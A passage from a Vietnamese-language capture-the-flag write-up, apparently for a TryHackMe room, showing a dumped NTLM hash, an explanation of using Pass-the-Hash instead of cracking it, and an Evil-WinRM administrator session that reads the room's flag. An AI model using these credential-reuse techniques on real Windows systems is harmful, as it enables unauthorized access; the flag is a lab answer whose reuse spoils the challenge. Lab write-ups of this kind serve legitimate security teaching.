Jareth:1001:aad3b435b51404eeaad3b435b51404ee:5a6103a83d2a94be8fd17161dfd4555a:::
[*] Cleaning up...

Shell as Administrator

Thay vì crack hash để lấy mật khẩu dạng plain-text, chúng ta có thể thực hiện kỹ thuật Pass-the-Hash, tức bỏ qua mật khẩu hoàn toàn và xác thực trực tiếp bằng hash.

image

Kết quả là bây giờ chúng ta đã có full privileges.

admin.txt

*Evil-WinRM* PS C:\Users\Administrator\Documents> cd ..\Desktop
*Evil-WinRM* PS C:\Users\Administrator\Desktop> dir


    Directory: C:\Users\Administrator\Desktop


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----        9/18/2020   2:19 AM             80 admin.txt


*Evil-WinRM* PS C:\Users\Administrator\Desktop> cat admin.txt
THM{YWFjZTM1MjFiZmRiODgyY2UwYzZlZWM2}